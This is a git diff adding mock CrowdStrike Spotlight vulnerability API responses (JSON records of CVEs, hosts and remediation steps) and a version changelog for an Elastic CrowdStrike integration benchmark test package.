+                "apps": [
+                  {
+                    "vendor_normalized": "Debian",
+                    "product_name_version": "linux 6.1.140+1",
+                    "product_name_normalized": "linux",
+                    "sub_status": "open",
+                    "remediation": {
+                      "ids": [
+                        "d5befca2cc3a33918f15acae966804fe"
+                      ]
+                    },
+                    "evaluation_logic": {
+                      "id": "e52ad4411f913b76b24866b9ad33c36a",
+                      "cid": "2cd98db1a47b4c98b913c94d43bfab70",
+                      "aid": "897580adb4ab4540a357536faa41de18",
+                      "data_provider": "Falcon sensor",
+                      "created_timestamp": "2025-07-24T13:40:28Z",
+                      "updated_timestamp": "2025-07-24T13:40:28Z",
+                      "logic": [
+                        {
+                          "id": 11529734357680297657,
+                          "title": "Debian 12 is installed",
+                          "type": "inventory",
+                          "description": "",
+                          "negate": false,
+                          "existence_check": "at_least_one_exists",
+                          "comparison_check": "at least one",
+                          "determined_by_comparison": true,
+                          "comparisons": {
+                            "state_operator": "AND",
+                            "state_comparisons": [
+                              {
+                                "entity_operator": "AND",
+                                "entity_comparisons": [
+                                  {
+                                    "actual_value_field": "subexpression",
+                                    "expected_value": "12",
+                                    "operation": "equals",
+                                    "value_datatype": "string"
+                                  }
+                                ]
+                              }
+                            ]
+                          },
+                          "items": [
+                            {
+                              "comparison_result": "true",
+                              "filepath": "/etc/debian_version",
+                              "item_type": "textfilecontent_item",
+                              "subexpression": [
+                                "12"
+                              ]
+                            }
+                          ]
+                        },
+                        {
+                          "id": 5378633537652057925,
+                          "title": "linux is installed",
+                          "type": "inventory",
+                          "description": "",
+                          "negate": false,
+                          "existence_check": "at_least_one_exists",
+                          "comparison_check": "",
+                          "determined_by_comparison": false,
+                          "items": [
+                            {
+                              "arch": "amd64",
+                              "comparison_result": "not evaluated",
+                              "epoch": "0",
+                              "evr": "6.1.140-1",
+                              "item_type": "dpkginfo_item",
+                              "name": "linux-image-cloud-amd64",
+                              "release": "1",
+                              "version": "6.1.140"
+                            },
+                            {
+                              "arch": "amd64",
+                              "comparison_result": "not evaluated",
+                              "epoch": "0",
+                              "evr": "6.1.140-1",
+                              "item_type": "dpkginfo_item",
+                              "name": "linux-image-6.1.0-37-cloud-amd64",
+                              "release": "1",
+                              "version": "6.1.140"
+                            }
+                          ]
+                        }
+                      ],
+                      "simplified_logic": [
+                        {
+                          "id": 11529734357680297657,
+                          "title": "Debian 12 is installed",
+                          "checks": "(subexpression equals 12)",
+                          "match_required": "All comparisons must pass",
+                          "found": [
+                            "subexpression: [12]"
+                          ],
+                          "data": [
+                            "filepath: /etc/debian_version"
+                          ]
+                        },
+                        {
+                          "id": 5378633537652057925,
+                          "title": "linux is installed",
+                          "checks": "No comparisons available : Existence check",
+                          "found": [
+                            "Item was found"
+                          ],
+                          "data": [
+                            "package: linux-image-cloud-amd64-6.1.140-1.amd64",
+                            "package: linux-image-6.1.0-37-cloud-amd64-6.1.140-1.amd64"
+                          ]
+                        }
+                      ],
+                      "host_info": {
+                        "entities_matched": [
+                          {
+                            "asset_id": "ab87facab3de4911a15af6fe385db2bf"
+                          }
+                        ]
+                      }
+                    },
+                    "remediation_info": {
+                      "recommended_id": "d5befca2cc3a33918f15acae966804fe"
+                    }
+                  }
+                ],
+                "suppression_info": {
+                  "is_suppressed": false
+                },
+                "confidence": "confirmed",
+                "host_info": {
+                  "hostname": "ub24-50-10-154",
+                  "local_ip": "1.128.0.0",
+                  "machine_domain": "",
+                  "os_version": "Debian GNU 12",
+                  "ou": "",
+                  "site_name": "",
+                  "system_manufacturer": "Google",
+                  "groups": [
+                    {
+                      "id": "group-123",
+                      "name": "Production"
+                    }
+                  ],
+                  "tags": [],
+                  "platform": "Linux",
+                  "instance_id": "9165043901540429889",
+                  "service_provider_account_id": "126499441333",
+                  "service_provider": "GCP",
+                  "product_type_desc": "Server",
+                  "asset_criticality": "Unassigned",
+                  "internet_exposure": "No",
+                  "managed_by": "Falcon sensor",
+                  "host_last_seen_timestamp": "2025-07-26T00:00:00Z"
+                },
+                "remediation": {
+                  "entities": [
+                    {
+                      "id": "d5befca2cc3a33918f15acae966804fe",
+                      "reference": "Debian linux",
+                      "title": "No fix or vendor remediation available for Debian linux",
+                      "action": "No fix or vendor remediation available for linux on Debian GNU 12. Alternatives might include software removal, OS upgrade, or other mitigating controls",
+                      "link": "",
+                      "vendor_url": ""
+                    }
+                  ]
+                },
+                "cve": {
+                  "id": "CVE-2024-26719",
+                  "base_score": 5.5,
+                  "severity": "MEDIUM",
+                  "exploit_status": 0,
+                  "exprt_rating": "LOW",
+                  "remediation_level": "U",
+                  "cisa_info": {
+                    "is_cisa_kev": false
+                  },
+                  "spotlight_published_date": "2024-04-04T12:46:00Z",
+                  "types": [
+                    "Vulnerability"
+                  ],
+                  "cwes": [
+                    ""
+                  ],
+                  "description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnouveau: offload fence uevents work to workqueue\n\nThis should break the deadlock between the fctx lock and the irq lock.\n\nThis offloads the processing off the work from the irq into a workqueue.\n",
+                  "published_date": "2024-04-03T00:00:00Z",
+                  "references": [
+                    "https://git.kernel.org/stable/c/39126abc5e20611579602f03b66627d7cd1422f0",
+                    "https://git.kernel.org/stable/c/985d053f7633d8b539ab1531738d538efac678a9",
+                    "https://git.kernel.org/stable/c/cc0037fa592d56e4abb9c7d1c52c4d2dc25cd906",
+                    "https://lore.kernel.org/linux-cve-announce/2024040344-CVE-2024-26719-b66e@gregkh/T",
+                    "https://nvd.nist.gov/vuln/detail/CVE-2024-26719",
+                    "https://security-tracker.debian.org/tracker/CVE-2024-26719",
+                    "https://www.cve.org/CVERecord?id=CVE-2024-26719"
+                  ],
+                  "exploitability_score": 1.8,
+                  "impact_score": 3.6,
+                  "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"
+                }
+              }
+            ]
+          }
+          `}}
+  - path: /spotlight/combined/vulnerabilities/v1
+    methods: ['GET']
+    query_params:
+      limit: 1
+      after: page-2
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - application/json
+        body: |-
+          {{ minify_json `
+          {
+            "meta": {
+              "query_time": 0.013642188,
+              "pagination": {
+                "limit": 1,
+                "total": 3,
+                "after": "page-3"
+              },
+              "powered_by": "spapi",
+              "trace_id": "20f000f8-6614-47e8-a94a-af3611d37ddb"
+            },
+            "resources": [
+              {
+                "id": "897580adb4ab4540a457536faa42de18_eda961728a22320da280bd9d181a798b",
+                "cid": "2cd98db1a47b4c98b913c94d43bfab70",
+                "aid": "897580adb4ab4540a357536faa41de18",
+                "vulnerability_id": "CVE-2025-26465",
+                "data_providers": [
+                  {
+                    "provider": "Falcon sensor",
+                    "ports": [22, 80],
+                    "rating": "high",
+                    "scan_id": "scan-123456",
+                    "scan_time": "2025-02-20T12:00:00Z",
+                    "scanner_id": "scanner-xyz"
+                  }
+                ],
+                "created_timestamp": "2025-02-20T10:10:24Z",
+                "updated_timestamp": "2025-02-25T13:33:23Z",
+                "closed_timestamp": "2025-02-26T10:00:00Z",
+                "status": "open",
+                "apps": [
+                  {
+                    "vendor_normalized": "Ubuntu",
+                    "product_name_version": "openssh 1:9.6p1-3ubuntu13.4",
+                    "product_name_normalized": "openssh",
+                    "sub_status": "open",
+                    "remediation": {
+                      "ids": ["4688299d204b35a192828bdaf556ecf8"]
+                    },
+                    "evaluation_logic": {
+                      "id": "138bd6a67791327ab367838079b4d786",
+                      "aid": "897580adb4ab4540a357536faa41de18",
+                      "cid": "2cd98db1a47b4c98b913c94d43bfab70",
+                      "complex_check_operator": "AND",
+                      "created_timestamp": "2025-02-20T10:15:30Z",
+                      "logic": [
+                        {
+                          "comparison_check": "equals",
+                          "comparisons": {
+                            "state_comparisons": [
+                              {
+                                "entity_comparisons": [
+                                  {
+                                    "actual_value_field": "version",
+                                    "operation": "equals",
+                                    "value_datatype": "string"
+                                  }
+                                ],
+                                "entity_operator": "AND"
+                              }
+                            ],
+                            "state_operator": "OR"
+                          },
+                          "determined_by_comparison": true,
+                          "existence_check": "Yes",
+                          "id": "logic-12345",
+                          "negate": false,
+                          "status": "active",
+                          "title": "Evaluation Logic for OpenSSH",
+                          "type": "comparison"
+                        }
+                      ],
+                      "updated_timestamp": "2025-02-25T13:33:23Z"
+                    },
+                    "remediation_info": {
+                      "recommended_id": "4688299d207b35a192828bdaf556ecf8",
+                      "minimum_id": "df1af7df1d33382398fb0dc268109a4d",
+                      "patch_publication_date": "2025-02-19T00:00:00Z"
+                    },
+                    "patch_publication_date": "2025-02-19T00:00:00Z"
+                  }
+                ],
+                "suppression_info": {
+                  "is_suppressed": false,
+                  "reason": "Not applicable"
+                },
+                "confidence": "confirmed",
+                "app": {
+                  "vendor_normalized": "Ubuntu",
+                  "product_name_version": "openssh 1:9.6p1-3ubuntu13.4",
+                  "product_name_normalized": "openssh"
+                },
+                "cve": {
+                  "id": "CVE-2025-26465",
+                  "base_score": 6.8,
+                  "severity": "MEDIUM",
+                  "exploit_status": 30,
+                  "exprt_rating": "MEDIUM",
+                  "remediation_level": "O",
+                  "cisa_info": {
+                    "is_cisa_kev": false,
+                    "due_date": "2025-03-01"
+                  },
+                  "spotlight_published_date": "2025-02-19T05:32:00Z",
+                  "types": ["Vulnerability"],
+                  "cwes": ["CWE-123"],
+                  "description": "A vulnerability was found in OpenSSH...",
+                  "published_date": "2025-02-18T19:15:00Z",
+                  "references": ["https://ubuntu.com/security/CVE-2025-26465"],
+                  "exploitability_score": 1.6,
+                  "impact_score": 5.2,
+                  "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N"
+                },
+                "host_info": {
+                  "hostname": "ub24-50-10-154",
+                  "local_ip": "1.128.0.0",
+                  "os_version": "Ubuntu 24.04",
+                  "platform": "Linux",
+                  "product_type_desc": "Server",
+                  "asset_criticality": "Critical",
+                  "internet_exposure": "No",
+                  "managed_by": "Falcon sensor",
+                  "host_last_seen_timestamp": "2025-02-18T00:00:00Z",
+                  "tags": ["production", "security"],
+                  "has_run_container": false,
+                  "machine_domain": "example.local",
+                  "service_provider": "AWS",
+                  "service_provider_account_id": "123456789012",
+                  "system_manufacturer": "Dell",
+                  "groups": [
+                    {
+                      "id": "group-123",
+                      "name": "Production"
+                    }
+                  ]
+                },
+                "remediation": {
+                  "ids": [
+                    "4688299d207b35a192828bdaf556ecf8",
+                    "df1af7df1d33382398fb0dc268109a4d"
+                  ],
+                  "entities": [
+                    {
+                      "id": "4688299d207b35a192828bdaf556ecf8",
+                      "reference": "1:9.6p1-3ubuntu13.8",
+                      "title": "Update ubuntu openssh",
+                      "action": "Update ubuntu openssh to version 1:9.6p1-3ubuntu13.8 or newer",
+                      "link": "https://ubuntu.com/security/CVE-2025-26465",
+                      "vendor_url": "https://www.openssh.com",
+                      "recommendation_type": "recommended"
+                    }
+                  ]
+                }
+              }
+            ]
+          }
+          `}}
+  - path: /spotlight/combined/vulnerabilities/v1
+    methods: ['GET']
+    query_params:
+      limit: 1
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - application/json
+        body: |-
+          {{ minify_json `
+          {
+            "meta": {
+              "query_time": 0.013642188,
+              "pagination": {
+                "limit": 1,
+                "total": 3,
+                "after": "page-2"
+              },
+              "powered_by": "spapi",
+              "trace_id": "20f099f8-6614-47e8-a94a-af3611d37ddb"
+            },
+            "resources": [
+              {
+                "updated_timestamp": "2025-02-28T09:04:38Z",
+                "id": "vuln-1234567890abcdef",
+                "host_info": {
+                  "local_ip": "1.128.0.0",
+                  "hostname": "DESKTOP-EXAMPLE",
+                  "platform": "Windows",
+                  "os_version": "10.0.19042",
+                  "asset_criticality": "High",
+                  "asset_roles": [
+                    "Web Server",
+                    "Database Server"
+                  ],
+                  "confidence_label": "Confirmed",
+                  "groups": [
+                    {
+                      "id": "group-001",
+                      "name": "Production Servers"
+                    }
+                  ],
+                  "has_run_container": false,
+                  "host_last_seen_timestamp": "2025-02-27T15:30:00Z",
+                  "instance_id": "i-0abcdef1234567890",
+                  "internet_exposure": "Public",
+                  "machine_domain": "example.com",
+                  "managed_by": "IT Department",
+                  "os_build": "19042.1237",
+                  "ou": "IT/Servers",
+                  "product_type_desc": "Server",
+                  "service_provider": "AWS",
+                  "service_provider_account_id": "123456789012",
+                  "site_name": "Main Data Center",
+                  "subsidiaries": [
+                    "Subsidiary A",
+                    "Subsidiary B"
+                  ],
+                  "system_manufacturer": "Dell Inc.",
+                  "tags": [
+                    "Critical",
+                    "Production"
+                  ],
+                  "third_party_asset_ids": [
+                    "asset-12345",
+                    "asset-67890"
+                  ]
+                },
+                "data_providers": [
+                  {
+                    "provider": "Nessus",
+                    "ports": [
+                      80,
+                      443
+                    ],
+                    "rating": "High",
+                    "scan_id": "scan-001",
+                    "scan_time": "2025-02-26T12:00:00Z",
+                    "scanner_id": "scanner-01"
+                  }
+                ],
+                "cve": {
+                  "vendor_advisory": [
+                    "https://vendor.com/advisory/CVE-2025-1234"
+                  ],
+                  "description": "A vulnerability in the XYZ component allows remote attackers to execute arbitrary code.",
+                  "references": [
+                    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-1234"
+                  ],
+                  "base_score": 9.8,
+                  "severity": "Critical",
+                  "actors": [
+                    "APT28",
+                    "Fancy Bear"
+                  ],
+                  "cisa_info": {
+                    "due_date": "2025-03-15",
+                    "is_cisa_kev": true
+                  },
+                  "cwes": [
+                    "CWE-79",
+                    "CWE-89"
+                  ],
+                  "exploit_status": 0,
+                  "exploitability_score": 10,
+                  "exprt_rating": "High",
+                  "id": "CVE-2025-1234",
+                  "impact_score": 9,
+                  "name": "XYZ Component Remote Code Execution",
+                  "published_date": "2025-02-25",
+                  "remediation_level": "Official Fix",
+                  "spotlight_published_date": "2025-02-26",
+                  "types": [
+                    "Remote Code Execution",
+                    "Privilege Escalation"
+                  ],
+                  "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
+                },
+                "vulnerability_id": "vuln-2025-1234",
+                "app": {
+                  "product_name_normalized": "XYZ Application",
+                  "product_name_version": "1.2.3",
+                  "vendor_normalized": "XYZ Corp"
+                },
+                "apps": [
+                  {
+                    "evaluation_logic": {
+                      "aid": "app-001",
+                      "cid": "cid-001",
+                      "complex_check_operator": "AND",
+                      "created_timestamp": "2025-02-20T08:00:00Z",
+                      "id": "eval-logic-001",
+                      "logic": [
+                        {
+                          "comparison_check": "EQUALS",
+                          "comparisons": {
+                            "state_comparisons": [
+                              {
+                                "entity_comparisons": [
+                                  {
+                                    "actual_value_field": "version",
+                                    "operation": "LESS_THAN",
+                                    "value_datatype": "string"
+                                  }
+                                ],
+                                "entity_operator": "AND"
+                              }
+                            ],
+                            "state_operator": "OR"
+                          },
+                          "determined_by_comparison": true,
+                          "existence_check": "Yes",
+                          "id": "logic-001",
+                          "negate": false,
+                          "status": "Active",
+                          "title": "Check for vulnerable version",
+                          "type": "Version Check"
+                        }
+                      ]
+                    },
+                    "patch_publication_date": "2025-02-25",
+                    "product_name_normalized": "XYZ Application",
+                    "product_name_version": "1.2.3",
+                    "remediation_info": {
+                      "minimum_id": "patch-001",
+                      "patch_publication_date": "2025-02-25",
+                      "recommended_id": "patch-002"
+                    },
+                    "remediation": {
+                      "ids": [
+                        "rem-001",
+                        "rem-002"
+                      ]
+                    },
+                    "sub_status": "Pending",
+                    "vendor_normalized": "XYZ Corp"
+                  }
+                ],
+                "cid": "cid-123456",
+                "closed_timestamp": "2025-02-28T10:00:00Z",
+                "confidence": "High",
+                "created_timestamp": "2025-02-25T08:00:00Z",
+                "remediation": {
+                  "entities": [
+                    {
+                      "action": "Apply Patch",
+                      "id": "rem-001",
+                      "link": "https://vendor.com/patches/patch-001",
+                      "patch_publication_date": "2025-02-25",
+                      "recommendation_type": "Official",
+                      "reference": "PATCH-2025-001",
+                      "title": "Security Patch for XYZ Component",
+                      "vendor_url": "https://vendor.com/patches"
+                    }
+                  ],
+                  "ids": [
+                    "rem-001",
+                    "rem-002"
+                  ]
+                },
+                "services": [
+                  {
+                    "port": 80,
+                    "protocol": "HTTP",
+                    "transport": "TCP"
+                  },
+                  {
+                    "port": 443,
+                    "protocol": "HTTPS",
+                    "transport": "TCP"
+                  }
+                ],
+                "status": "Open",
+                "suppression_info": {
+                  "is_suppressed": false,
+                  "reason": ""
+                }
+              }
+            ]
+          }
+          `}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/changelog.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/changelog.yml
new file mode 100644
index 0000000000..1c8e0402b4
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/changelog.yml
@@ -0,0 +1,999 @@
+# newer versions go on top
+- version: "3.5.0"
+  changes:
+    - description: Add support for CustomerIOCEvent events in falcon data stream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/17339
+- version: "3.4.0"
+  changes:
+    - description: Add support for FileIntegrityMonitorRuleMatched and FileIntegrityMonitorRuleMatchedEnriched events in the FDR data stream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/16990
+    - description: Change `crowdstrike.Nonce` field type from integer to unsigned_long in the FDR data stream to support unsigned 64-bit values out of long range.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/16990
+- version: "3.3.1"
+  changes:
+    - description: Remove references to FDR queue setting.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/17387
+    - description: Remove duplicate security-solution-default tag references
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/17020
+- version: "3.3.0"
+  changes:
+    - description: Parse EppDetectionSummaryEvent events in FDR data stream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/17034
+- version: "3.2.1"
+  changes:
+    - description: Fix processing of `crowdstrike.User.ID` field.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/16989
+- version: "3.2.0"
+  changes:
+    - description: Improvements and fixes to ingest pipelines for all data streams.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/16730
+- version: "3.1.0"
+  changes:
+    - description: Improve ingest pipeline maintainability.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/16213
+- version: "3.0.0"
+  changes:
+    - description: >-
+        Add parsing for CSPM IOA and IOM events in the FDR data stream. No configuration changes are required on user side to enable parsing. Some field data types have changed, which may break existing Kibana dashboards or queries.
+      type: breaking-change
+      link: https://github.com/elastic/integrations/pull/15783
+- version: "2.11.0"
+  changes:
+    - description: >-
+        Add support for following additional event types in the FDR data stream: MountedVolume, FalconProcessHandleOpDetectInfo, ServiceStopped, KernelServiceStarted, InstalledBrowserExtension, SensorAntiTamperState, SensorSettingsUpdate, ServicesStatusInfo, FileWrittenWithEntropyHigh, ReflectiveDotnetModuleLoad, SuspiciousPrivilegedProcessHandle. These new event types provide deeper visibility into system activity and security posture.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/15846
+- version: "2.10.1"
+  changes:
+    - description: Remove all constant keyword fields that have statically defined values.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/16240
+    - description: Fix handling of string CrowdStrike `User` fields.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/16240
+- version: "2.10.0"
+  changes:
+    - description: >-
+        Provide an alternate endpoint to query host data for GovCloud CIDs. The GovCloud CIDs must enable the `GovCloud` flag in the integration configuration to ensure the correct endpoint is used.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/16007
+- version: "2.9.0"
+  changes:
+    - description: Support handling FDR documents that encode numbers as strings.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/16087
+- version: "2.8.0"
+  changes:
+    - description: Add support for HTTP proxy configuration for Event Streams. Add support for proxy header configuration for CrowdStrike APIs.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/15880
+- version: "2.7.0"
+  changes:
+    - description: Add support for DataProtectionDetectionSummaryEvent events in FDR and Falcon datasets.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/15859
+- version: "2.6.0"
+  changes:
+    - description: Add a fallback parsing command_line to populate the process name in the FDR data stream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/15646
+- version: "2.5.2"
+  changes:
+    - description: Add `event.category` and `event.type` fields to process data in alerts.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/15616
+- version: "2.5.1"
+  changes:
+    - description: Add conditionals to rename processors in the fdr ingest pipeline to pass the rally benchmark.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/15497
+    - description: Fix the alert ingest pipeline to append device tags correctly.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/15497
+- version: "2.5.0"
+  changes:
+    - description: Migrate to /devices/combined/devices/v1 endpoint to pull host data.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/15419
+- version: "2.4.0"
+  changes:
+    - description: Enhance the field mappings for Windows events in the FDR data stream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/15342
+- version: "2.3.0"
+  changes:
+    - description: Migrate to /alerts/combined/alerts/v1 endpoint to pull alert data.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/15291
+- version: "2.2.1"
+  changes:
+    - description: Fix processing of `crowdstrike.User.Name` field.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/15272
+- version: "2.2.0"
+  changes:
+    - description: >-
+        Migrate to the "/spotlight/combined/vulnerabilities/v1" endpoint for vulnerability data. Add support for the `facet` query parameter to control what data is returned in the API response.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/15049
+- version: "2.1.0"
+  changes:
+    - description: Populate `message` ECS field from `crowdstrike.event_simpleName` field for FDR data stream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/14916
+- version: "2.0.1"
+  changes:
+    - description: Added a conditional JSON parsing workaround for `ResourceAttributes` to handle cases where it is rendered as a JSON string.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/15019
+- version: "2.0.0"
+  changes:
+    - description: "Data deduplication is now disabled by default for the FDR data stream when configured with the aws-s3 input. \nPreviously, the FDR data stream automatically handled deduplication by computing an Elasticsearch document _id \nusing the aws-s3 input. To prevent duplicate documents, you must now explicitly enable the Data Deduplication setting. \nWhile enabling this setting prevents duplicates, it may result in a lower indexing rate because Elasticsearch \nmust check for existing documents before indexing.\n"
+      type: breaking-change
+      link: https://github.com/elastic/integrations/pull/14762
+- version: "1.80.0"
+  changes:
+    - description: Update README to clarify the log file format and location for the Falcon SIEM Connector.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/14789
+- version: "1.79.0"
+  changes:
+    - description: Parse `ou` field for host data stream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/14773
+- version: "1.78.0"
+  changes:
+    - description: Add `FilesAccessed` timestamp checking to falcon and fdr data streams.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/14723
+- version: "1.77.1"
+  changes:
+    - description: Support various Tags formats in FDR data.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/14679
+- version: "1.77.0"
+  changes:
+    - description: Use `terminate` processor instead of `fail` processor to handle agent errors.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/14393
+- version: "1.76.0"
+  changes:
+    - description: Extend info-level severity names to include "Informational".
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/14275
+- version: "1.75.2"
+  changes:
+    - description: Add temporary processor to remove the fields added by the Agentless policy.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/14172
+- version: "1.75.1"
+  changes:
+    - description: Add support for multi-resource falcon hose streams.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/14212
+- version: "1.75.0"
+  changes:
+    - description: Add additional parsed fields in alert datastream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/14143
+- version: "1.74.0"
+  changes:
+    - description: Standardize user fields processing across integrations.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/14066
+- version: "1.73.1"
+  changes:
+    - description: Fix EppDetectionSummaryEvent recognition logic in falcon data stream.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/14110
+- version: "1.73.0"
+  changes:
+    - description: Parse `prevented` and `worker_node_name` field for alert data streams.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/14026
+- version: "1.72.0"
+  changes:
+    - description: Update SQS parsing script to parse all notification payloads.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13875
+- version: "1.71.0"
+  changes:
+    - description: Add `process.entity_id` and `process.parent.entity_id` ECS mappings in alert and falcon data streams.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13984
+- version: "1.70.0"
+  changes:
+    - description: Normalize `event.severity` values across EDR integrations.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13955
+- version: "1.69.1"
+  changes:
+    - description: Correct network.direction mapping.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/13961
+- version: "1.69.0"
+  changes:
+    - description: Improve user ECS field mappings for FDR.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13906
+- version: "1.68.0"
+  changes:
+    - description: Improve handling of document collision.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13779
+- version: "1.67.0"
+  changes:
+    - description: Improve FDR field handling.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/12913
+- version: "1.66.0"
+  changes:
+    - description: Handle `UTCTimestamp` values expressed in Unix seconds.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13833
+- version: "1.65.1"
+  changes:
+    - description: Adjust alert batch size to 1000 to match the API limit.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/13862
+- version: "1.65.0"
+  changes:
+    - description: Remove redundant installation instructions.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13573
+- version: "1.64.1"
+  changes:
+    - description: Reset state values when an error occurs during vulnerability data collection.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/13740
+- version: "1.64.0"
+  changes:
+    - description: Enhance `device.id` ECS mappings for FDR data stream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13762
+- version: "1.63.2"
+  changes:
+    - description: Fix the navigation links in `Table of Contents` section.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/13763
+- version: "1.63.1"
+  changes:
+    - description: Fix default request trace enabled behavior.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/13712
+- version: "1.63.0"
+  changes:
+    - description: Update `host.*` ECS mappings.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13373
+- version: "1.62.0"
+  changes:
+    - description: Updated integration logo.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/12345
+- version: "1.61.1"
+  changes:
+    - description: Fix condition in date processors for the FDR data stream.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/13394
+- version: "1.61.0"
+  changes:
+    - description: Improve performance of script processors in fdr data stream ingest pipeline.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13325
+- version: "1.60.0"
+  changes:
+    - description: Add option to delete long fields thus avoiding _ignored fields.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13157
+- version: "1.59.0"
+  changes:
+    - description: Improve `EppDetectionSummaryEvent` event field mapping for falcon.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13334
+- version: "1.58.0"
+  changes:
+    - description: Add support for `EppDetectionSummaryEvent` events.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/12869
+- version: "1.57.0"
+  changes:
+    - description: Reduce storage load for less useful or constant fields.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13260
+- version: "1.56.1"
+  changes:
+    - description: Expose missing "Number of Workers" settings to the user.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/13196
+- version: "1.56.0"
+  changes:
+    - description: Optionally allow data deduplication.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13109
+    - description: Concatenate fingerprint fields into `event.id` to allow checking for duplicates.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13109
+- version: "1.55.0"
+  changes:
+    - description: Increase field limits in FDR data-streams to avoid unindexed ECS fields.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13056
+- version: "1.54.0"
+  changes:
+    - description: Enable request trace log removal.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/13035
+- version: "1.53.0"
+  changes:
+    - description: Add support of vulnerability data stream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/12973
+    - description: Update ecs version to 8.17.0 and add navigation of vulnerability dashboard in existing dashboards.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/12973
+- version: "1.52.3"
+  changes:
+    - description: Fix condition in date processors for the FDR data stream.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/13397
+- version: "1.52.2"
+  changes:
+    - description: Expose missing "Number of Workers" settings to the user.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/13296
+- version: "1.52.1"
+  changes:
+    - description: Fixed parsing of RawProcessIDs in edge case scenarios.
+      type: bugfix
+      link: http://github.com/elastic/integrations/pull/12860
+- version: "1.52.0"
+  changes:
+    - description: Add handling for domain names in SMB events.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/12712
+    - description: Fix issues/gaps in handling of domain names in DNS events.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/12712
+    - description: Fix over setting of `url.scheme`.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/12712
+- version: "1.51.2"
+  changes:
+    - description: Avoid using dynamic template for flattened fields.
+      type: bugfix
+      link: http://github.com/elastic/integrations/pull/12624
+- version: "1.51.1"
+  changes:
+    - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/12781
+- version: "1.51.0"
+  changes:
+    - description: Update Kibana constraint to support 9.0.0.
+      type: enhancement
